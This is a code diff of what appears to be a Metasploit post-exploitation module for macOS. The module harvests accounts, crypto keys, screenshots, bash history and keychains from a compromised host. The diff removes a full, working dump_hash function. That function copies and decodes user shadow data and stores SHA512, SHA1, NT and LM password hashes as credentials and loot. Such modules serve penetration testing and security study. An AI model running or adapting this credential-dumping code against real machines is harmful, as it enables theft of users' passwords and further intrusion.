@@ -46,7 +46,6 @@ def run
46
46
enum_accounts ( log_folder , ver_num )
47
47
get_crypto_keys ( log_folder )
48
48
screenshot ( log_folder , ver_num )
49
- dump_hash ( ver_num ) if running_root
50
49
dump_bash_history ( log_folder )
51
50
get_keychains ( log_folder )
52
51
@@ -459,142 +458,6 @@ def dump_bash_history(log_folder)
459
458
end
460
459
end
461
460
end
462
- # Dump SHA1 Hashes used by OSX, must be root to get the Hashes
463
- def dump_hash ( log_folder , ver_num )
464
- print_status ( "Dumping Hashes" )
465
- users = [ ]
466
- nt_hash = nil
467
- host = session . session_host
468
-
469
- # Path to files with hashes
470
- sha1_file = ""
471
-
472
- # Check if system is Lion if not continue
473
- if ver_num =~ /10\. (7)/
474
-
475
- hash_decoded = ""
476
-
477
- # get list of profiles present in the box
478
- profiles = cmd_exec ( "ls /private/var/db/dslocal/nodes/Default/users" ) . split ( "\n " )
479
-
480
- if profiles
481
- profiles . each do |p |
482
- # Skip none user profiles
483
- next if p =~ /^_/
484
- next if p =~ /^daemon|root|nobody/
485
-
486
- # Turn profile plist in to XML format
487
- cmd_exec ( "cp" , "/private/var/db/dslocal/nodes/Default/users/#{ p . chomp } /tmp/" )
488
- cmd_exec ( "plutil" , "-convert xml1 /tmp/#{ p . chomp } " )
489
- file = cmd_exec ( "cat" , "/tmp/#{ p . chomp } " )
490
-
491
- # Clean up using secure delete overwriting and zeroing blocks
492
- cmd_exec ( "/usr/bin/srm" , "-m -z /tmp/#{ p . chomp } " )
493
-
494
- # Process XML Plist into a usable hash
495
- plist_values = read_ds_xml_plist ( file )
496
-
497
- # Extract the shadow hash data, decode it and format it
498
- plist_values [ 'ShadowHashData' ] . join ( "" ) . unpack ( 'm' ) [ 0 ] . each_byte do |b |
499
- hash_decoded << sprintf ( "%02X" , b )
500
- end
501
- user = plist_values [ 'name' ] . join ( "" )
502
-
503
- # Check if NT HASH is present
504
- if hash_decoded =~ /4F1010/
505
- nt_hash = hash_decoded . scan ( /^\w *4F1010(\w *)4F1044/ ) [ 0 ] [ 0 ]
506
- end
507
-
508
- # Carve out the SHA512 Hash, the first 4 bytes is the salt
509
- sha512 = hash_decoded . scan ( /^\w *4F1044(\w *)(080B190|080D101E31)/ ) [ 0 ] [ 0 ]
510
-
511
- print_status ( "SHA512:#{ user } :#{ sha512 } " )
512
- sha1_file << "#{ user } :#{ sha512 } \n "
513
-
514
- # Reset hash value
515
- sha512 = ""
516
-
517
- if nt_hash
518
- print_status ( "NT:#{ user } :#{ nt_hash } " )
519
- print_status ( "Credential saved in database." )
520
- report_auth_info (
521
- :host => host ,
522
- :port => 445 ,
523
- :sname => 'smb' ,
524
- :user => user ,
525
- :pass => "AAD3B435B51404EE:#{ nt_hash } " ,
526
- :active => true
527
- )
528
-
529
- # Reset hash value
530
- nt_hash = nil
531
- end
532
- # Reset hash value
533
- hash_decoded = ""
534
- end
535
- end
536
- # Save pwd file
537
- upassf = store_loot ( "osx.hashes.sha512" , "text/plain" , session , sha1_file , "unshadowed_passwd.pwd" , "OSX Unshadowed SHA512 Password File" )
538
- print_good ( "Unshadowed Password File: #{ upassf } " )
539
-
540
- # If system was lion and it was processed nothing more to do
541
- return
542
- end
543
-
544
- users_folder = cmd_exec ( "/bin/ls" , "/Users" )
545
-
546
- users_folder . each_line do |u |
547
- next if u . chomp =~ /Shared|\. localized/
548
- users << u . chomp
549
- end
550
- # Process each user
551
- users . each do |user |
552
- if ver_num =~ /10\. (6|5)/
553
- guid = cmd_exec ( "/usr/bin/dscl" , "localhost -read /Search/Users/#{ user } | grep GeneratedUID | cut -c15-" ) . chomp
554
- elsif ver_num =~ /10\. (4|3)/
555
- guid = cmd_exec ( "/usr/bin/niutil" , "-readprop . /users/#{ user } generateduid" ) . chomp
556
- end
557
-
558
- # Extract the hashes
559
- sha1_hash = cmd_exec ( "/bin/cat" , "/var/db/shadow/hash/#{ guid } | cut -c169-216" ) . chomp
560
- nt_hash = cmd_exec ( "/bin/cat" , "/var/db/shadow/hash/#{ guid } | cut -c1-32" ) . chomp
561
- lm_hash = cmd_exec ( "/bin/cat" , "/var/db/shadow/hash/#{ guid } | cut -c33-64" ) . chomp
562
-
563
- # Check that we have the hashes and save them
564
- if sha1_hash !~ /00000000000000000000000000000000/
565
- print_status ( "SHA1:#{ user } :#{ sha1_hash } " )
566
- sha1_file << "#{ user } :#{ sha1_hash } "
567
- end
568
-
569
- if nt_hash !~ /000000000000000/
570
- print_status ( "NT:#{ user } :#{ nt_hash } " )
571
- print_status ( "Credential saved in database." )
572
- report_auth_info (
573
- :host => host ,
574
- :port => 445 ,
575
- :sname => 'smb' ,
576
- :user => user ,
577
- :pass => "AAD3B435B51404EE:#{ nt_hash } " ,
578
- :active => true
579
- )
580
- end
581
- if lm_hash !~ /0000000000000/
582
- print_status ( "LM:#{ user } :#{ lm_hash } " )
583
- print_status ( "Credential saved in database." )
584
- report_auth_info (
585
- :host => host ,
586
- :port => 445 ,
587
- :sname => 'smb' ,
588
- :user => user ,
589
- :pass => "#{ lm_hash } :" ,
590
- :active => true
591
- )
592
- end
593
- end
594
- # Save pwd file
595
- upassf = store_loot ( "osx.hashes.sha1" , "text/plain" , session , sha1_file , "unshadowed_passwd.pwd" , "OSX Unshadowed SHA1 Password File" )
596
- print_good ( "Unshadowed Password File: #{ upassf } " )
597
- end
598
461
599
462
# Download configured Keychains
600
463
def get_keychains ( log_folder )
0 commit comments